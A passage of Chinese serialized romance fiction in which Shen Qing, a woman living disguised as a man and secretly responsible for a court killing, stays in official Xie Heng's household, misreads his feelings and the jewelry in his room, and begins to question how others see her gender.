她迷迷糊糊应了一声,猛然想起自己此时身在何方,一激灵坐了起来,结果没坐稳身子沉了下去,砰地一下水花四溅。 “沈青!” “别别别进来!” 她咕噜吐着水泡一下攀着浴盆将自己捞起来,先强撑着把那几个字吐出来,再是好一阵呛水后的咳嗽。 水墨屏风上,影影绰绰映出一道颀长身影,好那身影是背对着屏风,听到里面一阵兵荒马乱的动静后似乎想要进来,被她喝止住,那道身影又顿住,重新转过去,继续背对着屏风。 “浴汤……应该都凉了,你还没出来,我……我以为你出什么意外。” 那道声音还是熟悉的清疏平静,大概是浴房中水汽太重,显得断断续续的。 意识到自己刚才反应太激动,沈青忙深吸了两口气,不动声色让浴汤没过自己身体,只留个脑袋在外头:“我没事,就是太舒服睡着了。” 她如实交待,声音在桶壁里荡出回音。 “那你先出来,不然必定要着凉。”谢珩这会儿声音流畅了许多,不过那道颀长身影依然印在屏风上,与屏风上水墨竹影互相映衬。 沈青这才感受到,一开始温烫的浴汤这会儿微微发凉,强忍住想打喷嚏的冲动,她在水中等了一会,那道身影虽然还是背对着屏风,却也始终不动如山。 诶呀,男人之间,有什么关系呢? 在小金顶上的夏天,兄弟们都是随意套了件裤衩,光着膀子,成群结队在瀑布上的水池子里能玩上大半天呢。 刚才她的反应有点反常了,况且前面有一道屏风,有什么关系呢? 沈青定了定神,转过身去,从已经微凉的浴汤中站起身来,伴随着她起身的动作,哗啦的水声在清清静静的浴房里显得格外突兀。 她先从小漆桌上拿了巾帕动作随意给自己擦拭,又挑了内衫穿在身上,这时候就不得不迈出浴盆了,顿了好一会儿,她还是觉得迈不出这一步。 平日沐浴的时候,她也不会让岳瑛在身边啊!可能富贵豪奢人家的公子小姐让人伺候惯了,这种情况下,根本就不会觉得不自在吗? 她终于还是忍不住回头去看,屏风后早就空空如也,只剩数支墨竹纵横交错。 沈青这才狠狠松了口气,出了浴盆,重新踩上软藤草席,一股脑将衣裳往自己身上套。 贴身的衣物不知是用了怎样的绸缎织成,贴在肌肤上,轻柔得像是天边流云被采撷下来给她做了衣裳。外罩的青衫窄袖长袍,自然是她最喜欢的青色,手感触觉不知比她平日穿着要轻软多少,做工裁剪也更加细致修身。 穿上衣物后,她对着铜镜随意理了理发髻,不再耽搁,赶紧出了浴房的门,出 门的时候,她特地留意了一下,原来门闩上有可以从外面打开的机巧,大概是很多人家浴房中时不时会出一些摔倒或者昏迷后在浴盆中呛死之类的意外,为了方便及时察觉,才会做出这样的机巧? 那里面这门闩岂不是多此一举? 她有点无语地掀开珠帘,迈出内室的门,谢珩依然清越如许,正就着案前明灯翻阅书册,清淡而专注的模样,仿佛刚刚屏风后是另一个人。 她嘿嘿笑了两声打破了这清净画面:“你这浴房太舒服了,忍不住多洗了会。” 确实是舒服,她这辈子都没洗过这样舒服的澡,舒服到她几乎将今晚杀人灭口府前对峙的惊心动魄全然抛于脑后。 谢珩的目光终于从书册移到远远站在珠帘前的身影,她的身上还裹挟了清透的水汽,浸润过后的楚楚容颜更加清绝逼人,鬓发也被微微打湿,颀秀的身姿,如清泉中摇曳轻灵的水草,无知无觉拨弄人心。 不知为何,太过于干净澄澈的事物,总会让人生出一种想要狠狠沾染的邪念。 他捧着书卷的指节微微收紧,声音还是平静无波:“趁热将这姜汤喝了。” 沈青扬起下巴,果然看见案头不知何时搁了一碗姜汤,她依言走过去,将温烫正好的姜汤一饮而尽。 沐浴的时候还不觉得水凉了,直到被谢珩提醒,出来穿上衣裳,才觉得周身不暖,这一碗姜汤下肚,五脏六腑才重新热烫了起来。 喝完姜汤,见谢珩还在专注于埋头苦读,她心里由衷感叹了一下这样勤勉的求学态度,也不准备再打扰:“那今晚我睡哪个房间?” “就睡这里。” 很平淡,很毋庸置疑。 “啊?我跟你睡一个房间吗?为什么?”沈青脱口问了一连串,总不至于是谢府房间不够吧? 谢珩彻底将书册合上,抬眸问她:“不行吗?” 那眸底清清冷冷,仿佛她触犯了什么很严重的朝廷法度一般。 “行倒是行……” 但是没必要。 后半句话她没说出来,她还是很有寄人篱下的觉悟,主人家怎么安排她就怎么做,于是自然而然走到软榻前,掀了被子坐了进去。 被窝里有新换上的汤婆子,暖烘烘的。 一张供人小憩的软榻,不知比沈府她自己床铺要香软舒服多少!有钱真好。 “那就睡吧。”她很欣然地接受了这样的安排,伸了个懒腰后裹着被子躺下。 反正这样宽敞的卧房,再睡十个八个人进来,也不会觉得拥挤的。 谢珩眼睁睁看着她如此自然而毫无芥蒂绕开床铺走向软榻,眸光黯淡下来,起身灭了案前明灯,又一路灭了房中其他灯火,才走到自己床榻前,无声无息翻上这张有些宽阔了些的床榻上。 屋中还留了一盏罩了青幔的微灯,卧室中点滴,隐约可见。 像小金顶窗外照进来的月光,但又不像。 “这些天会不太平,怕有人要报复暗杀你,所以你暂且与我共住一屋。” 谢珩突然出声,沈青好半天才反应过来他是在解释之前的问题,很无语地翻身坐起:“还有人能杀得了我?” 对方很明显顿了一下:“方便查案时能随时审问。” 沈青纳闷,他不是知道凶手是她了吗?审什么? 反正共住一屋也不是没有过,这软榻轻轻软软很是舒服,她还赚了呢。 这么想着,她在被窝里翻了两下,倦意上来都舍不得睡去,于是又忍不住翻腾了两下,忽然看见在青灯微亮下,谢珩的床头摆了两只紫檀木箱。 紫檀木箱中的事物,在夜灯中闪烁着微光,她揉揉眼,又盯着看了会儿,里面赫然摆着的不就是整套的头面首饰吗? 虽然看不太清,可是上上下下整整齐齐将紫檀木箱摆满当,仅仅只是头冠步摇的轮廓还有珠宝天然的微光,就足以令人惊叹,她从未见过这样庞大的整套头面。 这就是那两套价值连城的首饰吗?谢珩竟然没有送人? 他一个大男人,买两套首饰放在自己床头,总不至于夜深人静的时候给自己戴吧? 那也太令人毛骨悚然了吧! 沈青心口突突跳了两下,忽然想到院中两个美貌丫鬟,她知道,像谢珩这样的世家子弟,大部分都是有房中人的,除了照顾公子的饮食起居,夜里也是要伴着公子睡觉的。 那两个美貌丫鬟就是谢珩的房中人吧?毕竟他年纪也这般大了,都还没成婚,总不可能夜夜独眠吧? 她以前没有想过这个问题,是因为谢珩大部分时候都是跟她在外面相处,她从未进过他的内宅后院,自然没见过他的另一面。 一想到即便是谢珩,也会跟美貌的丫鬟睡在一张榻上温香暖玉,她突然有点厌烦。 “谢珩。” 她心直口快,没等对方回应,就听见自己声音在暗夜中闷闷荡开:“你床头的两副首饰,是送给吟星和闲月的吗?” 虽然看不见对方的神情动作,她话音落下的时候,明显感觉到房中空气都陷入诡异的停顿中。 看来她猜得没错,如果不是那两位姑娘时时来房中过夜,他将这首饰摆在床头做什么? 果然,困扰人许久的谜底就这样猝不及防揭开了。 她一颗心在昏暗中往下沉得厉害。 “才不过一晚,你就记住两位姑娘的名字了。” 许久,谢珩才回应出声,却不是在回答她的问题,那声音冷硬极了,明显是不悦了。 沈青在心底哼了一声,那两位姑娘今晚一个给她递了汤药,一个帮她铺了被褥,又长得好看,问一下名字怎么了? 还这么小气,自己房中的人,连名字都不许人问了? 她顿时一点关于他的声音也不想听到,卷了被子蒙住脑袋,转过头呼呼大睡起来,等她避过这段时间风头,她要马上离开! 房中再次彻底安静下来,青灯暗光静静流淌,许久听不见她清浅的呼吸,谢珩支起身子往软榻上望去,软榻上的被窝支鼓得像一座小山,完全看不见人影。 即便没有喝醉,她睡觉也是不安分的,要是一整晚翻来覆去,应该不会从软榻上摔下来? 毕竟软榻总还是太窄了些。 谢珩重新躺了回去,借着青光照在屋梁上,假装想象这是在小金顶,好像她就在枕畔,等明早醒来,他身上会像被藤蔓缠绕,然后在艰难呼吸中醒来。 浴房中的屏风后,哗啦的水声掩映下,她略慌乱时应了他的声音,和陈郡侯府时软绵的声音好像。 他不小心瞥见墨竹后绰约身形,亦与当日陈郡侯府轻纱下曼妙风情无异。 昏暗中,他清冷眸底有暗潮翻涌,侧过头,枕畔空无一人。 翻来覆去几许,他叹了口气,再次撑起身子,这次直接坐了起来,让自己目光可以直接看到软榻上那座小山。 其实这样已经极好。 总是寄希望于偶尔相约去小院小酌,太容易出现失约的情况了,她失一次约,下次相处又不知要何时。 沈府她暂时回不去,岳瑛也给她接了过来,如此,比相约小院不知要好多少。 至少,在同一屋梁之下,朝夕共处。 第82章 第82章我不喜欢女子 沈青一觉醒来的时候,卧室中早就天光大亮,她愣愣地盯着陌生的屋梁看 了好一会儿,才坐起身,立马看向不远处床榻上,被褥早就铺叠整齐,空无一人。 谢珩不知何时出门上朝点卯去了,这会儿还没有官兵冲进来将她从软榻上拖出来,说明局势暂时稳住了。 她又重新倒头栽在枕上,蹭了蹭哪哪都香软的被褥。 昨晚在浴盆里泡得骨头都松了,结结实实,很久没有睡过这样好的一觉。 至少在昨晚,进到谢府以前,前面那段日子也太不是人过的。 世家反扑,谢珩消失,晋王回避,萧瑞被专门盯上,她从未感受过孤身一人会有这样艰难境遇,以至于热爱睡觉的她,也体验了好些辗转难眠的夜晚。 这一夜好眠,真是让人不舍得爬起来。 她赖在床上,只留一双眼睛转来转去,趁着主人不在,肆意打量着这间昨晚……以及可能未来好几晚都要住的房间。 房中家具多为楠木和紫檀,空气里若有若无的陈年幽幽木香,屋中布置摆设,也多偏白色,一应事物,恰到好处一件不多,也一样不少。 整个卧房的风格与主人如出一辙,清淡,雅正,绝俗。 如果住得久一些的话,她要么被熏陶成一个君子,要么直接原地升仙,沈青如是想。 就算是雅致,竟然也不见有名家古玩字画堆砌,只有书案后方的墙面上裱了一副青山远眺图,她虽不懂画,不过画笔间的勾勒写意,隐隐约约让她好像看见了莽山群峰。 别说,还真有点像,难道是谢珩将莽山风物画了下来,裱在卧房里吗?她眯起眼去看左下方的落款,很娟秀地写了“王淑桐”三个字。 看来只是巧合而已。 整间卧室,唯一让人觉得突兀的地方,就在于那两只紫檀箱,以及里面赫然罗列的整套头面。 从白天的视线来看,这次她终于看清那两套头面的模样,一红一翠,一娇一俏,是真好看到令人赞叹失语,她算是明白,原来价值连城,并不仅仅是材料本身昂贵,而是打造这首饰的匠人注入了生动灵魂,它们已经不仅仅是冰凉的首饰。 只不过无论这两套首饰多精巧,与这样清雅的卧房,总还是格格不入的。 沈青没了兴致,肚子也饿得慌,不再留恋地翻身下了榻,先去浴房里收拾了一番,才看见软榻前小几上原来已经摆满了各色糕点,还有一碗给她用食盒温着的乳浆。 饿了一宿,她风卷残云地将小几上的点心和乳浆收拾进自己腹中,刚心满意足摸了摸吃得有些圆滚的肚子,便听见外头有些动静。 她推窗看去,原来外面是一个这样的晴天,屋檐碧瓦在阳光下澄澄生光,一点也看不出昨夜还覆满清霜。 身着绛红整肃官服的谢珩,踏了一路秋日清阳,清疏的面容都被秋阳照映得俊采飞扬,径直进了房间。 “今日情况怎么样?” 他刚一进门,沈青就先开口问,毕竟她昨晚犯下的事,可比当堂刺杀陈郡侯要更骇人听闻,今日早朝是何情景……说实话,谢珩敢去,她都有点不敢想。 谢珩目光先落在小几上,见上面的一应点心都被席卷干净,露出一点欣慰,自己也在小几前坐下。 “暂时无妨,这案子还是由三司联合查办,以大理寺为主,刑部和御史为辅。世家始终怀疑你就是真凶,所以你暂时还是住在我府上。” 沈青好奇,也凑着坐了过来:“他们怎么允许我住在你府上呢?” “我跟陛下说,你与世家之间向来交恶,当初陈郡侯之死,他们就如此揣测,这次谢初原,他们还是空口无凭往你身上揣测,陛下又不是不知道。现在他们要坐实你的罪名,你在沈府恐怕都未必安全,更何况刑部或者其他大牢,陛下也没忘,当初你在刑部捱的那顿鞭子。” 虽然他们是有恶意揣测想要趁机拉人下马的想法,可能他们自己都没想到,这两次的凶手还真就是她。 沈青在心底冷笑一声,继续追问:“那你叔父没有带头反对吗?” 她可记得,孝武帝有多忌惮谢道清,谢道清要是让他往右,他可不敢往左的。 “自然是反对,”谢珩顿了一下:“只不过,今非昔比了。” 他最后一句,语气间坦荡从容,给心中原本还有几分忐忑的沈青下了一颗定心丸。 是啊,经过这么几个月的折腾,加上谢初原一死,谢家早就开始分崩离析,虽然谢道清还是当朝丞相,不知不觉也不再是那个可以一手遮天的存在了。 “那陛下就允许我住在你府上吗?毕竟你是办案的官员,而我是疑犯。” “为何不许?陛下信任我可以秉公办案。” “何况……”谢珩又补充道:“现在一切只是世家的揣测,没有证据,你连疑犯也算不上,我不过是把你接到府上免你被人趁乱迫害罢了。” 沈青盯着他清正坦荡的面容,忽然心中有些不是滋味。 从陈郡侯的案子开始,她就发现了,所谓洛京世家,原来跟她当初在渝州那种弱肉强食的生存之道本质并无区别。 所有的真相,没有能不能查,只有想不想查。 如果在洛京,能成为一个强悍的上位者,那么所谓真相是什么,就看他想要这真相是什么了。 法度,规矩,礼法,公平,早就崩坏。 谁更强,谁就拥有绝对的道理。 所以她杀谢初原,杀了就杀了,并没有什么负担。 可是谢珩到底与她不一样,当初她杀了作恶多端的庾闻,他都为此跟她大吵,说庾闻即便有罪,也该朝廷法度来解决。 现在他作为查办此案的主要官员,死的是自家族人,直接就将凶手接到自己府上包庇起来。 以前见他被自己拖入泥潭,她很痛快,这时候,她心里却有些不是滋味了。 这样的转变,该是经历了一层敲骨吸髓之痛。 “对了,”谢珩没有察觉到她眉眼间微妙的情绪变化,他脑海中想的是另一件事:“今日审案的时候我才知道,谢初原在临死前,反复念叨了几遍萧瑞的名字,这其中与萧瑞有何关系,为何让你因此就算搭上一条命也要将他灭口?” 话音落下,他目光终于带上几分审视。 从昨夜到现在,他还没有问过她临时起意杀人的真正动机。 “我压根就没听清他说了什么,可能是想到要下一步又要怎么害萧瑞了吧,他派人跟踪我,找到了我跟晋王相交的证据,我不想暴露了晋王出来,就马上将他灭口了。” 沈青若无其事撇开目光,怕他不信,又补充道:“你也知道,我这人行事没有计划章法的,当时机会难得,我就动手了。” “机会难得?” 毫无准备计划地在守卫森严高手如云的皇宫里杀人的机会? 谢珩轻缓的语气让她无所适从,怎么说都变得苍白:“真的,就是这样。” “行了,先用膳吧,我下午还要去上值。” 她不愿意说,谢珩也不再相逼,眸中一黯,转移了话题。 “用膳啊……” 沈青第一次听到“用膳”两个字没有眉眼明亮,她刚刚用过的早膳现在还堆在喉咙里还没咽下去呢,可是已经有丫鬟小厮进来将小几收拾干净,新捧了琉璃碗和白玉碟盛了各色佳肴上来。 “你为何中午还回来用膳?” 在朝中,官员上值,午膳都在衙署里的食肆中解决,当然像谢珩这种极为讲究的富家公子哥,一般也是府上做好午膳,由下人送去衙署解决。 毕竟一来一回,太费时间。 “回来陪你用午膳。” 她随口一问,他也答得很随意,轻轻语气,理所当然。 该死的是,说这话的时候,他目光正注视着她,一双漆黑的深眸几乎能把人溺毙。 沈青受不了,她刚刚喝下的一口银鱼羹险些喷了出来,为了不让自己失态,她赶紧夹了一块清蒸熊掌塞住自己嘴巴。 什么意思? 专门回来陪她用膳? 什么叫陪? 她嘴里咀嚼的佳肴都索然无味,明明已经很撑,也只敢继续埋头风卷残云,老天,如果真的只是她在胡思乱想的话。 请让她自己撑死自己吧。 “沈公子,盥盆与雪巾给您放在手边了。”身边有一道娇软轻媚的声音提醒着她。 沈青终于仰头,看见吟星那张妩媚动人的脸。 她讷讷接过雪巾,果然额前出了一层细汗,忙用巾子擦拭一番,到底是大户人家,用个膳出个汗,都有人专门伺候着。 弄得人以后用膳都怪不好意思出汗的。 吟星递了雪巾后,见盏中切好的熊掌都被沈青夹得差不多了,于是又用专门定 制的刀叉,将盏中剩下的熊掌切分开来。 她做这些动作的时候,微微屈着身子,一双皓白的手腕在沈青眼前晃动,因为隔得有些近,沈青都能闻到她身上清幽的女儿香。 吟星长得很媚,与闲月的俏不一样,正好就适合那件红玉的头面,很衬她肤白如雪。 佳人与佳肴都在眼前,沈青实在忍不住浮想联翩,一浮想,完全是邪念纷纷。 她的手这样白这样柔软,谢珩晚上就是握着她的手入眠吗? 她的身姿也很窈窕,夜里谢珩是不是也会搂着她? 还有她的那双眉眼,那张朱唇…… 不受控制地,一不小心就想到那头去了,沈青知道这样窥探人隐私也太不磊落,可是她目光总是忍不住随着吟星的动作而处处追寻。 “沈青。” 忽然一道不轻不重的声音打断她,她回过神来,马上就是扑面而来的熟悉压迫和侵略感,果然坐在自己对面的公子面沉如水。 只是多看了两眼他的房中人,就给她摆脸色吗? “你先下去吧。” 谢珩没再看她,这句话是对吟星说的。 沈青无言以对,偏就默默目送吟星离开房间。 哼,看都不许人看了。 等吟星离开将房门带上,便不再有任何人进来相扰,房中的氛围又陷入沉默的尴尬中。 沈青觉得很奇怪,这些日子,有时候跟谢珩相处十分亲切自在,有时候又如坐针毡令人想要迫不及待逃离出去。 比如现在。 好在这次的压迫和侵略感很快敛去,她实在吃饱不怎么动筷,突然听见谢珩的声音从头顶传来:“中午暂时先吃顿便饭,以后会让府上专门按你的口味来做些新菜式。” 因为他的语气实在太过于平淡清疏,以至于她不得不自我怀疑,是不是她对这些话的内容会错了意。 可能真的只是他最寻常不过的待客之道,她却心猿意马了? 甚至她还类比了一下,这句话如果是王容对她说,她根本就不会想歪。 “平时我在衙署的时候,这府上任意,你想去哪便去哪,没人会阻拦你的。” 她还在思忖中,谢珩的声音继续传来。 “如果你实在闷得慌,也可以出门,会有人专门保护你,不过现在全城戒严搜查,你还是少露面为妙。” 一时间,谢珩忽然想不起平日她是怎么打发闲暇时光的,读书品茗,下棋看花,肯定不是她喜欢的,四四方方府庭院,远比不上莽山的天地辽阔。 本来沈青想回以一句“我还需要人保护?”这话,可是人家如此周到妥帖,她也无话可说,低头“嗯”了一声。 用过午膳,谢珩几乎没有耽搁便又去了衙署,半柱香不到的午膳,像是偷来的时光。 趁谢珩去上值,沈青暗中唤了自己人到府上,府上的暗卫也视若无睹。 这时候,她也才知道,因为谢初原临死前的几句话,萧瑞被上上下下查了个遍,各种证据证明他与此案无关,彻底将他摘干净了。 萧瑞背后有晋王护着,倒还算好。 不过京郊的那间义庄也被查了,不过晋王反应更快,将地室里那张无名牌位换成了先帝淑妃也就是晋王生母的牌位。 当年正麟事变,淑妃虽然无罪,终究因成王之死,亦忧惧而亡,当时世家正在血洗成王的一众党羽,人人自危的情况下,无人敢操办淑妃的身后事,只草草葬了。 如今时过境迁,晋王只是暗自供奉一下生母牌位,倒也无伤大雅。 这天晚上,谢珩回得很晚,直到快二更天,沈青都已经在软榻上进入几回梦乡了,才迷迷糊糊听见谢珩推门进来,又在案前点了一盏微弱青灯的声音。 朝中局势肯定不如他白天说得那样风轻云淡,谢珩所谓查案,其实就是掩盖她的罪行,趁机对谢王二家彻底拆分打压。 谢初原一死,只靠谢道清一个人实在难以为继。 前面与谢王二家对峙几月,以及取谢初原性命,能做的她都做了,前面基础打下,后面的烂摊子就交给谢珩吧。 谢珩以为她没有醒,轻手轻脚去了浴房,好一会儿,沈青听见他翻上床榻的声音。 当然,谢珩也听见了软榻上的窸窣声。 “还没睡?” “……嗯。” “在想什么?” 没想到谢珩一下就猜中她心中有事,既然他问,那她也不吐不快了。 朝堂的事情,她基本都掌控了,现在她有了另一个疑惑。 “谢珩,”她顿了一下:“为什么吟星和闲月都不见了?” 自从下午他让吟星先退下去,结果吟星出了房门,整整大半天,直到夜里就寝,她再没见过吟星,连带着,闲月也跟着消失了。 本来谢珩听她还未睡,以为她唤自己至少是要关心一下如何这样深夜回府,没想到她一开口就是问吟星闲月,一颗心瞬间就沉了下去。 真是能耐,才来府上一天就对他的两个美貌丫鬟如此上心。 他尽量按捺住一点失控的燥意:“因为不需要她们在这里伺候。” 末了,他还加重语气补充了一句:“以后也不需要。” 虽然他的语气难听,沈青还是有点被他这个决定震惊到,下意识撑起身子:“她们以后就不在你院子里了吗?那……那你这两套头面怎么办?” 昏暗中,谢珩眉头蹙得很深:“什么头面?” “就是……” 沈青没有再继续问下去,谢珩也没有马上回应她。 “这不是送给她们的。” 好一会儿,谢珩听到自己的声音从胸腔中缓缓荡出,整个人一颗心从沉入谷底又雀跃而出,再平静的声音,在黑夜里也夹杂出一丝颤音。 原来她以为这两件首饰是送给闲月和吟星的? 那……是不是她对闲月和吟星的关注,其实是因为他? 所以之前是他想岔了吗? 果然,沈青的声音脱口而出:“所以她们不是你的房中人吗?” “什么房中人?” “你一个世家大公子,你不知道什么是房中人?” “……知道。” 沈青自然看不见,谢珩那双原本布满寒霜的眸子,已经染上星星点点的笑意。 那笑意沾染上他清泠的声音:“她们不是我的房中人。” “啊……原来不是啊。”沈青的声音低下来,奇怪,听到这句话,怎么有点高兴呢? “她们是我母亲的丫鬟,今日让她们回我母亲身边去伺候了。” “我还以为你们这些世家公子,都会有房中人呢。”沈青尤自嘟囔。 “沈青。” 谢珩刚轻快下来的声音突然正经起来:“我自小就少与女子接触,在闲月和吟星之前,我从未有过任何近身的丫鬟,更没有什么房中人。” 像是在很认真地剖出一颗心捧了出来:“我不喜欢女子。” 沈青裹着软被,身子却彻底僵住,静静暗夜中,她听不见自己的呼吸。 他没有房中人…… 不是!他说他不喜欢女子!! 可是在小金顶上的时候,他跟她说的,明明是他不是断袖啊! 又不是断袖,又不喜欢女子! 她背脊都有些发凉:“那……那这两套首饰头面,你……” 如果是这样的话,那她前面的猜测可能没错,他就是买来放在房中,夜深人静的时候给自己偷偷戴! 对,就是这样,他这样有品位的人,给自己买最好的首饰,这很合理! “这两套头面……你喜欢吗?” 沈青简直想哭,用被子将自己裹得严严实实,强笑道:“这么值钱的东西,谁不喜欢?” 黑暗中,许久没有人回应她。 沈青一双清亮灵动的眼睛眨了眨,又眨了眨。 ……好像有一个比他自己半夜戴这头面更可怕的猜测出现在脑海。 第83章 第83章我是男人还是女人? 一觉醒来,枕着软绵绵的被角,望着不远处依然被褥整齐空无一人的床榻,沈青有些懊恼,为何来谢府连着 这两晚,竟会睡得如此香甜。 她本来昨晚是想捱一晚,看半夜某个时候,谢珩会不会偷偷爬起来做些怪异的事情,结果……都怪这张软榻,也太好睡了吧。 磨蹭着起床收拾完,吃完小几上给她温着的各式清甜可口的点心,她忍不住站到两张紫檀木箱前。 昨天还以为是送给吟星和闲月的,她一直没去细看,整套头面赫然摆放整齐就足够摄人心魄,再一番细看,处处打磨,巧夺天工。 这些璀璨夺目的金啊玉啊,她都叫不出名字,可是就觉得好看,有一套成套都是翠玉为主,辅以流金,本来她就喜欢青色,一整套翠玉光泽浅淡清润,贵气但不铺张,好像空山清泉边浣纱归来的姑娘。 另一套看上去贵气外露得多,满满都是红玉和黄金,可是那黄金怎么可以雕镂得这样精细?金灿灿的黄金上游龙飞凤的花纹,还有那一颗颗红玉,散发着宝玉最澄澈干净的光泽。 明明是两套风格完全迥异的头面,摆在一起也极其令人合眼,可见谢珩眼光品味实在高妙。 ……可是,这两套头面真的跟他自己气质搭吗?沈青歪着脑袋想象了一下这样珠光宝翠的首饰簪在谢珩那样清冷绝色的人身上,只是想了一下,她浑身都要起一层疙瘩。 知人知面不知心啊! 没想到这样一个人人景仰的谦谦君子,竟有这样不为人知的癖好。 这样的发现,简直让人一刻都等不了! 她迅速出了门,一路往西边的厢房走去,穿庭过院,一路上处处清净无人,偶尔会遇到一两个丫鬟或小厮,他们也是垂眸静立一旁,默默待她走远。 这谢府虽然只算得上谢家的一处别宅,没想到也这样宽大,谢珩的院子在东边,岳瑛却住在最西边的厢院,中间几乎要穿过整个谢府,真是不知道这谢珩怎么安排的。 嘀咕一路,可总算是到了西厢院,到了院门口,碰上正要出门赶去东院给她上药的岳瑛。 “阿青?你怎么自己过来了?” “我有重要的事跟你说!” 沈青上前,眉眼间还带点神秘兮兮,拉着岳瑛重新回到西厢院子里。 西厢的院子是客院,不过一应起居器物都不知要比沈府好多少,怕岳瑛不便,也专门拨了两名丫鬟贴身照应着。 见谢珩安排得如此妥帖,沈青也不计较西厢离东院太远了这件事,但是她的新发现,也不吐不快:“你还记不记得,谢珩几个月前买了两套价值连城的头面?” 她突然提起,岳瑛有点不明所以:“记是记得,不是说……也不是送给王家姑娘吗?” 知道那两套头面不是送给王意然的后,她们始终也没得到过答案,只能揣测谢珩可能有一个不为人知的心上人。 “是没有送给王家姑娘,不过我这两天看见了,就在谢珩自己的卧室里摆着。” “在珩公子的卧室?他没有送人?” “何止没有送人……”说到这里,沈青都有点难以启齿:“你想这么价值连城的首饰,这几个月来他每天都放在自己房里,你觉得是做什么?” 岳瑛真听不懂:“做什么?” 沈青看她这样一脸天真茫然的样子,就恨铁不成钢:“当然是半夜无人的时候偷偷自己一个人戴啊!” 岳瑛没有说话,一脸的天真茫然挂在脸上呆住,好一会儿,她抬手,用手背抵了抵沈青的额头:“这两天郎中没说你发热了啊……” “诶呀,什么发热不发热,”沈青别开脸,更加严肃:“我跟你说认真的!不然他一个大男人,摆两套女子头面放在卧房里干什么?” 岳瑛叹了口气:“阿青,你真的就没想过,那两套头面,可能是买给你的?” 本来她还不确定,自从她得知王意然跟别人定亲后,以及这一次沈府门口的对峙,谢珩几乎是公然与谢家割席,他选择的是沈青。 再结合小金顶上那些情愫暗生的场景,她至此完全可以确定谢珩的心意。 只不过……当局者迷。 “买给我?” 沈青一字一顿,确定岳瑛说的是这三个字,她也很想用手背去抵一抵对方的额头,这话难道不比她的揣测更荒谬吗? “沈青,你仔细想一想,谢珩是怎么对你的,你真的察觉不出来他对你与对旁人绝然不同吗?” 沈青被她问得沉默了。 在她话音刚落的一瞬,她脑海里就立刻能浮现出很多很多画面。 小金顶上,她落水后醒来第一眼,映入眸中的是那样一张苍白慌乱的容颜。 南风楼里,她满嘴醉话,说他不如楼中小倌,他的眼神那样支离破碎。 陈郡侯府,他将她抵在阁楼矮墙下,周身上下的侵占和克制。 沈府对峙,他为她披上氅衣时,温柔的笼罩。 还有许多许多细细碎碎的瞬间,争先恐后浮现在眼前。 是的,哪怕她再迟钝,她也是能察觉到谢珩对她一些不可名状的情愫,无时无刻,像是春夜的雨水,无声无息下了一夜,等清晨推门的时候才发觉,庭院的青砖和草木,早就被浸润湿透。 温柔侵袭,避无可避。 沉默了一会儿,她如实交待:“我能察觉到。” 但并不代表这件事情走向不怪异:“可是我现在是一个男人诶!” 如果说这两套头面是买给她的,那不是比他自己半夜偷偷戴要更令人毛骨悚然吗? 一个男人……想给另一个男人簪花戴玉!? 那她宁可这个头面是买给他自己的。 她实在不能消受这样令人背脊发凉的特殊癖好。 岳瑛提醒她:“阿青,你别忘了,在陈郡侯府,谢珩见过你身着女子衣裙的模样。” 沈青一张小脸更加苦兮兮地垮下来:“可是昨天谢珩亲口跟我说,他不喜欢女子!” “……不可能吧,珩公子不喜欢女子,难道还……” 说到一半,岳瑛突然顿住。 “这真是他亲口说的,我问你啊,你在洛京生活了这么多年,高门大户里,哪家公子没有房中人?” 岳瑛下意识答她:“这倒是的,男子到了年纪,还未及娶亲,房里总是会由一两个体己的姑娘贴身照顾着,更有甚者,四五个也不算多。” 不说别人,当初陈文轩便是如此,在他十六岁以后,便收了院中一个自小伺候他的丫鬟,开了脸,进了房。 但这不过只是一个伺候人的丫鬟,连妾室的名分都不会有,未过门的妻子,自然也很少会在乎这个。 “对啊!洛京中人人都有,可是谢珩没有!他不仅说他不喜欢女子,还说他自小就没有女子近身的!”沈青说出自己困惑。 “这……” 岳瑛本来很明晰的思路,一时间又混乱起来。 沈青继续在耳边分析:“而且你想啊,他不是去年就加冠了吗?一个大男人,年纪也不轻了,正是气血方刚传宗接代的时候,他又不娶妻又不纳妾,还不近女色……” 绝对有问题吧? 岳瑛试图在一片混乱中重新找回她的思路:“等等,你等我捋捋。” “我记得珩公子在小金顶上的时候,可是明确表达过,他不是断袖,那他应该就不会是喜欢男子。” “不管怎样,在我看 来,他后来慢慢心仪你肯定也是事实,那就说明他是因为你,才开始喜欢男人的?” “可是你又不是男人啊,他应该也很喜欢你穿女子衣裙的模样,按理他还是喜欢女子的。但遇见你以前,他多年来一直就不近女色……” “那也许他骨子里根本就是不喜欢女子的,遇见你以后才彻底意识到,自己其实喜欢男人?问题是,你也不是男人啊!” 沈青坐在一旁呆如木鸡:“你说得这么弯弯绕绕,我怎么可能听得懂啊……” 岳瑛也轻叹:“诶,其实我自己也没绕明白。” 两人相对沉默了好一会儿,岳瑛突然眼前一亮:“或许我们不该把注意力放在珩公子的心思上,应该想想,你现在是什么身份呢?你是男子还是女子?” “我是男子还是女子?” 这是一个显而易见到,沈青从未思索过的问题,她当然是女子啊。 可是当这个问题成为一个问题被问出来后,她竟然无法立刻作答。 在世人眼中,她就是一个男人。 当她自己都模糊不清的时候,别人怎么会分得清楚呢? 不过她还没来得及跟岳瑛讨论出个所以然来,东院来了人传饭,说是今日午膳厨房里备了她最爱的酒酿肥蟹。 她咽了咽口水,算了,天大地大,用膳最大。 暂别了岳瑛,她再次穿庭过院,回了东院。 传膳的人没有跟她说,谢珩中午会回来,当她进了院门,小厮将她引到小饭厅,见到那一身白衣清越时,她微愣了愣。 主要是,至少昨晚还温和可亲的人,今日不动如山坐在那儿,还隔了一道门的距离,她都感受到那人身上冷若寒霜的凉意。 见她进来,他好像松了口气,脸色也稍霁:“你回来了。” 又补充道:“酒酿蟹还在炉上蒸,先垫垫肚子吧。” 再说第二句话时,他的声音彻底缓和下来,温润轻款,并无半点异常。 “好吧。” 沈青闻声走了进来,见桌上其实早就摆满了菜肴,只是唯独没有酒酿蟹,这次她难得地安静,埋头大快朵颐起来。 无论她安静还是吵闹,吃起东西来,总是有种别样的赏心悦目,看得身旁的人也食欲大增。 一炷香前,谢珩从衙署回了东院,本来是要陪沈青用膳,却被告知沈青去了西厢院,并且还准备在那里留饭。 酒酿蟹是他临时让厨房加的。 还好她会为这酒酿蟹回了东院。 只要眼前这一幕能时时看见,就令人满足,谢珩如是想。 第84章 第84章守空房 沈青随意在每个碗碟里夹了些佳肴,心中实在挂念那酒酿蟹,埋头慢吞吞吃了好半天,厨房终于热气腾腾地摆上满满堆叠一盘的酒酿蟹。 